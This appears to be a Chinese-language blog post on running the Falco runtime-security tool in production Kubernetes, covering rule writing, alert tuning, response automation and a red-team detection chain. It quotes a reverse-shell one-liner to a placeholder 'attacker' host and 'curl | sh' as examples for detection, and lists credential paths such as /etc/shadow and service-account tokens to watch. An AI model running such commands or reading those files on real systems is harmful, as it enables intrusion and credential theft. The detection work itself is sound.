跳过正文
Falco 运行时安全实战:从规则开发到生产级调优

Falco 运行时安全实战:从规则开发到生产级调优

·1613 字·8 分钟·
目录

写在前面
#

这几年镜像扫描、SBOM、签名这类"构建时"防线大家都上了,但一个能在 Pod 里执行 curl | sh 或者读 /etc/shadow 的攻击者能把这些努力一次清零。运行时这块绕不过去。

我从 Falco 0.32 开始在生产跑,经历了从 kernel module 切到 modern eBPF probe 的全过程,踩过告警风暴、CRI 解析失败、thread table 打爆。这篇不讲"五分钟部署 Falco",只写真正放进生产之后的那些事。

本文基于 Falco 0.40.0(2025 年 2 月)、0.41.0(2025 年 5 月)、0.42.0(2025 年 10 月)三个版本。如果你还在 0.36 或更早,强烈建议先升级再读规则部分,proc.pgid.*container.* 这些字段老版本没有。

一、Falco 架构速览:搞清楚"它到底在看什么"
#

很多人用 Falco 很久,依然不清楚它的事件源是怎么来的。这里用一张图把数据流描清楚:

                      ┌────────────────────────────┐
                      │  Kubernetes API / Audit    │
                      │  Logs (k8saudit plugin)    │
                      └──────────────┬─────────────┘
                                     │
  ┌─────────────┐     ┌──────────────▼─────────────┐     ┌─────────────┐
  │ Linux Kernel│     │       Falco Engine         │     │  Outputs:   │
  │             │     │  ┌──────────────────────┐  │     │  - stdout   │
  │  syscalls  ─┼────▶│  │ Rule Evaluator       │──┼────▶│  - file     │
  │             │ mEBPF│  │ (condition + output) │  │     │  - gRPC     │
  │  tracepoints│     │  └──────────▲───────────┘  │     │  - http     │
  │             │     │             │              │     │  - sidekick │
  │  kprobes    │     │  ┌──────────┴───────────┐  │     └─────────────┘
  └─────────────┘     │  │  libsinsp / libscap  │  │
                      │  │  (event enrichment)  │  │
                      │  └──────────────────────┘  │
                      └────────────────────────────┘

Falco 的事件源主要有三类:

  1. 系统调用源(syscall):通过 kernel module、legacy eBPF probe 或者 modern eBPF probe(CO-RE)从内核拿到 syscall 事件。2025 年的生产环境,请直接用 modern eBPF probe,它不需要编译驱动、kernel 5.8+ 就能跑,性能开销比 legacy ebpf 低 10~20%。
  2. Kubernetes Audit 源:通过 k8saudit 插件接收 kube-apiserver 的 audit webhook,检测"谁创建了 privileged pod"这类控制面行为。
  3. 插件源(plugin):比如 cloudtrailgithubokta 插件,可以接 AWS/GitHub/Okta 的审计日志,把 Falco 变成一个轻量的 CSPM。

关键认知:Falco 不是 IDS/IPS,它不会"阻断"任何操作,它只是"观察+告警"。阻断要靠下游,比如 Falco Talon、Argo Events 或者你自己写的 response handler。如果有人给你推销"Falco 能阻断容器逃逸",基本是不懂装懂。

二、驱动选型:modern_ebpf 才是正道
#

这是我最常被问到的问题之一。Falco 目前支持四种驱动:

驱动适用内核部署复杂度性能生产推荐度
kernel_module任意高(需要匹配内核编译)最好不推荐(维护噩梦)
legacy ebpf4.14+一般不推荐(老技术)
modern ebpf5.8+低(CO-RE)强烈推荐
plugin (gVisor)任意仅 gVisor 场景

我在 0.37 时把所有集群从 legacy ebpf 切到 modern ebpf,单节点 CPU 占用从平均 180m 降到 130m,内存从 450Mi 降到 310Mi。Helm values 只需要改一行:

driver:
  kind: modern_ebpf
  modernEbpf:
    leastPrivileged: true   # 0.39+ 支持,降权运行
    cpusForEachBuffer: 2

leastPrivileged: true 是 0.39 引入的一个重要安全加固——默认情况下 Falco 的 DaemonSet 以 privileged 模式运行(因为要加载 BPF、挂 /proc/sys),这其实违反了最小权限。加上这个选项后,Falco 只申请必要的 capability:CAP_SYS_ADMINCAP_SYS_RESOURCECAP_BPFCAP_PERFMON

坑 1:ARM64 节点上 modern ebpf 偶发 verifier 失败。我们在 Graviton3 的 c7g 实例上遇到过一次启动失败,内核是 5.15,BTF 加载时报 program too large。解决办法是升级内核到 6.1,或者在该节点上 fallback 到 legacy ebpf。Falco Helm 0.8+ 支持 per-node 驱动选择:

nodeSelector:
  kubernetes.io/arch: arm64
# 再用另一个 DaemonSet 专门跑 arm64 的 legacy ebpf

坑 2:节点 kubelet 开启 protectKernelDefaults: true 时,Falco 会因为无法修改 kernel.perf_event_paranoid 而拒绝启动。解决办法是通过 sysctl 初始化脚本预先设置,或者在 /etc/sysctl.d/ 写死。

三、规则开发方法论:先写 macro,再写 rule
#

Falco 规则文件由三部分组成:listmacrorule。我见过太多团队一上来就写一大坨 rule,最后维护起来各种 condition 复制粘贴、重复表达式、难以复用。正确的写法是先抽象 macro,再组合 rule

看一个真实例子:检测"容器内运行 shell 并访问敏感目录"。

- list: sensitive_paths
  items:
    - /etc/shadow
    - /etc/sudoers
    - /root/.ssh
    - /var/lib/kubelet
    - /var/run/secrets/kubernetes.io/serviceaccount

- list: shell_binaries
  items: [bash, sh, zsh, dash, ash, ksh, busybox]

- macro: spawned_shell
  condition: >
    evt.type = execve and evt.dir = < and
    proc.name in (shell_binaries)

- macro: in_container
  condition: container.id != host

- macro: read_sensitive_path
  condition: >
    evt.type in (open, openat, openat2) and
    evt.dir = < and
    fd.name pmatch (sensitive_paths) and
    not fd.name startswith "/var/lib/kubelet/pods/"

- rule: Shell Spawned Inside Container
  desc: 检测容器内交互式 shell 启动,排除合法场景(init container、debug sidecar)
  condition: >
    spawned_shell and in_container and
    not container.image.repository in (allowed_debug_images) and
    not proc.pname in (allowed_shell_parents)
  output: >
    Shell spawned in container
    (user=%user.name uid=%user.uid container=%container.id
     image=%container.image.repository:%container.image.tag
     shell=%proc.name pname=%proc.pname cmdline=%proc.cmdline
     pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: NOTICE
  tags: [container, shell, mitre_execution, T1059]

几个关键的写规则原则

  1. 优先用 list:列表比硬编码好维护,而且支持运行时热加载。
  2. macro 要小且职责单一spawned_shellin_containerread_sensitive_path 各自独立,rule 层只负责组合。
  3. always 加 MITRE ATT&CK 标签T1059 这种标签不仅便于向上级汇报(合规场景特别有用),也方便后续对接 SIEM 做 kill chain 分析。
  4. output 字段命名规范化:user、container、image、pod、ns 这五个字段几乎是必备,其他根据规则特点加。做 SIEM 对接时,统一字段能省掉 50% 的 parser 工作。
  5. condition 里优先放"短路字段":比如 evt.type = execve 放在最前面,Falco 的表达式是短路求值,把过滤效果最好的条件放前面可以显著降低 CPU。

0.40+ 的新字段:proc.pgid.*
#

0.40 引入了一组进程组字段,我觉得是近两年最有用的增强之一。之前要检测"一个 shell 的所有子进程"需要自己维护进程树,现在可以直接用:

- rule: Reverse Shell via Bash TCP Redirect
  condition: >
    evt.type in (connect, sendto) and
    proc.pgid.name in (shell_binaries) and
    fd.sockfamily = ip and
    not fd.sip in (rfc1918_networks)
  output: >
    Possible reverse shell detected
    (pgid_leader=%proc.pgid.name cmdline=%proc.cmdline
     dest=%fd.rip:%fd.rport pod=%k8s.pod.name)
  priority: CRITICAL

这条规则能精准识别 bash -i >& /dev/tcp/attacker/4444 0>&1 这种经典反弹 shell,因为即便实际发起 connect 的是内核态的进程(比如 bash 内建),pgid leader 依然是 bash。

四、误报治理:生产环境的真正难题
#

我敢说 90% 的 Falco 项目最终失败,原因只有一个:告警太多没人看。默认规则集在一个中等规模的 Kubernetes 集群(200 节点、3000 Pod)一天能产生 5000~20000 条告警,几乎全是业务正常行为触发的误报。治理误报的核心思路有三条:

4.1 白名单要放在 macro 层,不要放在 rule 层
#

错误示范:

- rule: Write below etc
  condition: >
    write_etc_common and
    not proc.name in (apt-get, yum, dnf, dpkg) and
    not container.image.repository in (my-ci-runner, my-base-image)

把业务白名单直接塞进通用规则的 condition 里,不同团队的白名单会越堆越长,最后一条规则上百行 condition,谁也看不懂。正确的做法是每个团队维护自己的"豁免 macro",在 base rule 基础上 append:

# base rule (社区规则,不动)
- rule: Write below etc
  condition: write_etc_common
  ...

# 企业自定义覆盖层
- macro: write_etc_common
  condition: >
    (original_write_etc_common) and
    not user_known_write_etc_conditions

- macro: user_known_write_etc_conditions
  condition: >
    (proc.name in (apt-get, yum, dnf)) or
    (container.image.repository = "my-registry/ci-runner") or
    (k8s.ns.name = "cert-manager" and fd.name startswith "/etc/ssl/certs/")

Falco 规则文件支持"覆盖"(override/append)语义,- macro: xxx 重复定义时后加载的会覆盖。通过 rules_file 的加载顺序控制:

rules_file:
  - /etc/falco/falco_rules.yaml                # 社区 base
  - /etc/falco/rules.d/k8s_audit_rules.yaml    # 社区 k8s audit
  - /etc/falco/overrides/company_overrides.yaml  # 企业覆盖层
  - /etc/falco/overrides/team_a_overrides.yaml   # 团队独立层

0.41 版本还引入了规则覆盖声明式语法,不再需要完整复制一整条 rule,而是可以用 override 关键字只追加 condition:

- rule: Write below etc
  override:
    condition: append
  condition: and not user_known_write_etc_conditions

这是一个巨大的改进,之前做 override 经常因为社区规则升级导致 condition 漂移。

4.2 用 Falcosidekick + Loki 做"告警去重+静默"
#

Falco 本身只负责触发事件,不关心同一条告警在 5 分钟内触发了 1000 次。这个"降噪"职责应当交给 Falcosidekick 或者下游 SIEM。我们的方案是:

Falco ──> Falcosidekick ──> Loki / Alertmanager ──> Webhook(钉钉/飞书)
                       └──> S3 (long-term archive)

Falcosidekick 本身不去重,但它可以把事件写到 Loki,然后在 Grafana/Alertmanager 里写聚合告警规则:

# Loki ruler
groups:
- name: falco-aggregation
  rules:
  - alert: FalcoCriticalBurst
    expr: |
      sum by (rule, k8s_ns_name) (
        count_over_time({job="falco"} | json | priority="Critical" [5m])
      ) > 10
    for: 2m
    labels:
      severity: page
    annotations:
      summary: "{{ $labels.rule }} 在 ns={{ $labels.k8s_ns_name }} 5分钟内爆发 {{ $value }} 次"

这样原始事件全量进 Loki(便于事后取证),但真正推送给值班人员的只有"聚合后的异常突增"。我们线上的实践数据:Falco 原始事件峰值 40k/min,经过聚合后值班群消息约 5~20 条/天。

4.3 TTL 静默:上线新业务时的"观察期"
#

新业务上线经常会触发一堆陌生规则(比如某个 Go 服务会调用 setns 来做多租户隔离),我们定义了一个"观察期"流程:

  1. 新 namespace 创建时自动加入 observing 标签
  2. Falco 对 observing ns 的规则输出 priority 降一级(CRITICAL → WARNING)
  3. 一周后人工 review 该 ns 的 Falco 事件,沉淀到该 ns 的 override 文件
  4. 去掉 observing 标签,恢复正常优先级

这个流程帮我们把"上线一个新业务导致 oncall 被刷屏"的事故彻底消灭。

五、Falcosidekick 部署与路由策略
#

Falcosidekick 是 Falco 的"事件中继器",支持 60+ 种 output target。我的生产部署 values 长这样:

falcosidekick:
  enabled: true
  replicaCount: 2
  config:
    debug: false
    customfields: "cluster:us-prod,region:us-west-2"
    templatedfields: "pod_url:https://grafana.example.com/d/pod/{{ .OutputFields.k8s_pod_name }}"

    # 路由:只把 ERROR/CRITICAL 推钉钉,全量进 Loki
    loki:
      hostport: "http://loki-gateway.logging.svc:3100"
      minimumpriority: "debug"
      customlabels: "source:falco"
    alertmanager:
      hostport: "http://alertmanager.monitoring.svc:9093"
      minimumpriority: "warning"
      expireafter: 300
    webhook:
      address: "http://dingtalk-webhook.alert.svc/falco"
      minimumpriority: "critical"
      customheaders: "X-Source:falco-us-prod"

    # 归档
    aws:
      s3:
        bucket: "falco-events-archive"
        prefix: "us-prod/"
        region: "us-west-2"
        minimumpriority: "notice"

坑 3:templatedfields 在高版本才支持,低版本会静默忽略。这个字段特别有用,能把告警变成"带上下文链接的富告警",比如直接点开就是该 Pod 的 Grafana Dashboard。

坑 4:Falcosidekick 的 expireafter 对 Alertmanager 输出非常重要。Falco 事件默认是 “firing”,Alertmanager 会一直认为告警在触发,不设 expire 会导致告警永不消失。一般设置为 300~600 秒。

六、与 Falco Talon 联动做"自动响应"
#

从 2024 年开始,Falco 社区推出了 Falco Talon 这个响应引擎,把"检测—响应"的闭环做起来了。典型场景是:检测到容器内反弹 shell,自动 kubectl delete pod 或者打网络隔离标签。

Talon 的规则语法示意:

rules:
  - name: "Terminate reverse shell pods"
    match:
      rules: [ "Reverse Shell via Bash TCP Redirect" ]
      priority: "critical"
    actions:
      - action: "kubernetes:terminate"
        parameters:
          grace_period_seconds: 0
      - action: "kubernetes:label"
        parameters:
          labels:
            security.incident/quarantined: "true"
            security.incident/rule: "{{ .Rule }}"
      - action: "webhook:call"
        parameters:
          url: "https://pagerduty.example.com/incident"
          method: "POST"

真实案例:2025 年 8 月我们在 US-QA 集群触发过一次真实告警——一个开发测试 Pod 里跑了个爬虫脚本,被挖矿程序入侵(攻击者通过公开的 Redis 6379 反向注入)。Falco 检测到 xmrig 进程 + 异常出站连接,Talon 在 4 秒内 kill 了 Pod 并打上隔离标签。从检测到响应全链路 4 秒,比值班人接收告警的时间还短。

但 Talon 要谨慎用,以下几类规则绝对不能自动响应

  • 只有 WARNING/NOTICE 级别的规则(误报率太高)
  • 涉及 kube-system、cert-manager、Istio 控制面的规则(误杀系统组件灾难性后果)
  • 没有 MITRE 标签的规则(置信度不够)

七、性能调优:thread table、ring buffer、event filter
#

7.1 thread table 爆表
#

0.42 之前,Falco 的 thread table 默认容量 131072,在一些 CI/CD 集群(短生命周期容器爆多)会打满。打满后的表现是 Falco 开始漏采样,日志里出现:

Thread table full, dropping events. Consider increasing engine.thread_table_size

0.42 引入的 auto_purge 配置是个好东西:

engine:
  kind: modern_ebpf
  thread_table_size: 262144
  thread_table_auto_purge:
    enabled: true
    interval_ms: 60000
    threshold: 0.85

意思是每 60 秒检查一次,占用率超过 85% 就主动清理已退出的 thread entry。实测开启后 CI 集群的 drop 率从 0.8% 降到 0。

7.2 ring buffer 大小
#

modern eBPF 的 ring buffer 默认每 CPU 8MB,高核机器(比如 64 核)就是 512MB,对于中小节点来说太奢侈。可以通过 cpus_for_each_buffer 调整——多个 CPU 共享一个 buffer:

modernEbpf:
  cpusForEachBuffer: 4   # 4 个 CPU 共享一个 ring buffer

这个值的选取原则:总 buffer 大小 = 节点 CPU 数 / cpus_for_each_buffer * 8MB,控制在 64~128MB 比较合适。

7.3 syscall filter:少采总比多采好
#

默认 Falco 订阅约 180 个 syscall。如果你的规则集用不到那么多,可以主动缩减:

base_syscalls:
  custom_set:
    - execve
    - execveat
    - connect
    - accept
    - accept4
    - open
    - openat
    - openat2
    - unlink
    - unlinkat
    - rename
    - renameat
    - setns
    - unshare
    - clone
    - clone3
    - fork
    - vfork
  repair: true

repair: true 会自动补齐必要的"兄弟 syscall"(比如只订阅了 open 会自动加上 close,保证 fd 跟踪正确)。我的一个高流量节点上,这样裁剪后 CPU 从 220m 降到 90m。

八、与 k8saudit 插件联动:检测控制面攻击
#

syscall 能看到"容器里发生了什么",但看不到"谁通过 API 创建了 privileged pod"。这就需要 k8saudit 插件。

部署方式有两种:

  1. Webhook 模式:kube-apiserver 配置 audit webhook 指向 Falco
  2. EKS / AKS:通过 CloudWatch / Log Analytics 转发

我更推荐 Webhook 模式,延迟低、事件完整。kube-apiserver 的 manifest 改动:

- --audit-webhook-config-file=/etc/kubernetes/audit-webhook.yaml
- --audit-policy-file=/etc/kubernetes/audit-policy.yaml
- --audit-webhook-batch-max-wait=1s

audit-policy.yaml 里只需要记录"敏感操作",不要全量记录(性能灾难):

apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: ["RequestReceived"]
rules:
  - level: RequestResponse
    resources:
      - group: ""
        resources: ["pods", "services", "secrets", "serviceaccounts"]
      - group: "rbac.authorization.k8s.io"
        resources: ["*"]
  - level: Metadata
    resources:
      - group: ""
        resources: ["configmaps"]
  - level: None   # 其他忽略

Falco 侧的配置:

plugins:
  - name: k8saudit
    library_path: libk8saudit.so
    init_config:
      maxEventSize: 262144
      webhookMaxBatchSize: 12582912
    open_params: "http://:9765/k8s-audit"
  - name: json
    library_path: libjson.so

load_plugins: [k8saudit, json]

一条典型的 k8saudit 规则:

- rule: Privileged Pod Created
  desc: 检测特权 Pod 创建
  condition: >
    kevt and pod and kcreate and
    ka.req.pod.containers.privileged intersects (true) and
    not ka.user.name in (allowed_privileged_users) and
    not ka.target.namespace in (kube-system, falco, calico-system)
  output: >
    Privileged pod created
    (user=%ka.user.name pod=%ka.resp.name ns=%ka.target.namespace
     image=%ka.req.pod.containers.image)
  priority: WARNING
  source: k8s_audit
  tags: [k8s, mitre_privilege_escalation, T1611]

九、真实攻防案例:一次内网横向移动的检测链
#

2025 年初我们做过一次红队演练,攻击者拿到了一个低权限 Pod 的 exec 权限(模拟 RBAC 配置错误)。从 Falco 的视角看到的完整攻击链:

步骤 1 (T+0s):攻击者 exec 进 Pod,执行 id 查看身份

Rule: Terminal shell in container
Priority: NOTICE

步骤 2 (T+8s):尝试读取 service account token

Rule: Read sensitive file trusted after startup
Priority: WARNING
output: file=/var/run/secrets/kubernetes.io/serviceaccount/token

步骤 3 (T+15s):用 token 调用 kube-apiserver 做枚举

Rule: K8s API Recon (自定义)
Priority: WARNING
source: k8s_audit

步骤 4 (T+45s):下载内网工具(curl 到 192.168.x.x)

Rule: Outbound Connection to Internal IP
Priority: NOTICE

步骤 5 (T+68s):尝试 mount /proc/1/root

Rule: Mount Launched in Privileged Container
Priority: CRITICAL      <── 触发 Talon 自动隔离

从步骤 1 到步骤 5,Falco 累计产生了 5 条相关事件,前 4 条单独看都是低危的,但是通过 SIEM 的关联规则把它们聚合起来,就形成了一条非常明确的 kill chain。我们的 Loki ruler 有这样一条关联规则:

sum by (k8s_pod_name) (
  count_over_time({job="falco", priority=~"Notice|Warning|Critical"}
    | json
    | rule =~ "Terminal shell.*|Read sensitive.*|K8s API Recon|Outbound.*Internal.*|Mount.*Privileged.*"
    [2m])
) >= 3

凡是 2 分钟内同一 Pod 触发了 3 条以上"侦察类"规则,直接拉 P1 告警。这次红队演练,我们在步骤 5 触发前(也就是 T+45s 左右)就已经拉了告警,值班人员比 Talon 的自动响应更早看到事件。

十、版本升级踩坑记录
#

10.1 从 0.37 升到 0.40:字段重命名
#

0.40 把一批老字段标记 deprecated,比如 proc.tidthread.tid。如果你的自定义规则里用了老字段,Falco 会打 warning 但不会报错,容易被忽略。建议升级后跑一次:

falco --list-fields | grep -i deprecated
falco -v -r /etc/falco/rules.d/ 2>&1 | grep -i warning

10.2 0.41 的 container engine 重写
#

0.41 重写了容器引擎适配层,好处是性能更好、支持更多 runtime(包括 containerd 2.0、Podman 5、CRI-O 1.31),坏处是早期版本的 containerd(1.5 以下)可能出现 container.id 无法解析。我们在一个老集群遇到过,解决办法是升级 containerd 到 1.7+。

10.3 0.42 的 capture file 功能
#

0.42 新增了 .scap 文件录制能力,可以把一段时间内的所有 syscall 录下来,事后用 sysdig 重放。这个功能在事件调查时极其有用——我们在一次数据外传事件调查中,用 .scap 文件精确还原了攻击者的每一个 write 调用,直接把外传的数据内容抓出来了。

开启方式:

capture:
  enabled: true
  path: "/var/lib/falco/captures"
  max_size_mb: 500
  max_files: 10
  rules_triggering: ["Critical.*"]   # 只在 critical 规则触发时录制

注意 .scap 文件很大,记得定期清理。

十一、写在最后
#

Falco 不是"装上就完事"的工具,它是一个需要持续投入规则开发和运维的平台。我的建议是:

  1. 有专人(至少 0.5 HC)负责 Falco 规则维护和误报治理
  2. 规则改动必须走 GitOps,禁止 kubectl 直改 ConfigMap
  3. 每个季度做一次规则 review:删掉常年不触发的(可能条件错了)、拆分告警过多的
  4. 红蓝对抗是最好的规则验证手段,没有之一

运行时安全的本质不是"防住所有攻击",而是"攻击发生时你能不能在 5 分钟内发现、30 分钟内响应"。Falco 加上合理的告警路由和响应闭环,完全可以把一个中等规模的 Kubernetes 集群武装到接近 Sysdig 商业版的水平,而成本只是几个 DaemonSet 的 CPU 开销。

下一篇我会写 SPIFFE/SPIRE 的工作负载身份实践,那是零信任网络体系的另一块关键拼图——Falco 解决"谁在作恶",SPIRE 解决"谁是谁"。

Wenzhuo Huang
作者
Wenzhuo Huang
搞运维的工程师,写代码的运维人。专注 Kubernetes、AWS、GitOps 与基础设施可靠性。这个博客既是我的技术笔记本,也是我踩过的坑的受害者档案。

相关文章

DevSecOps 安全左移实践:从代码到生产的全链路安全

·1864 字·9 分钟
安全不是最后一道关卡,而是嵌入每个研发环节的连续过程。本文从代码静态分析、依赖漏洞扫描、镜像安全、K8s 运行时防护到供应链签名,逐层拆解 DevSecOps 的完整实施路径,并给出一个可落地的流水线设计。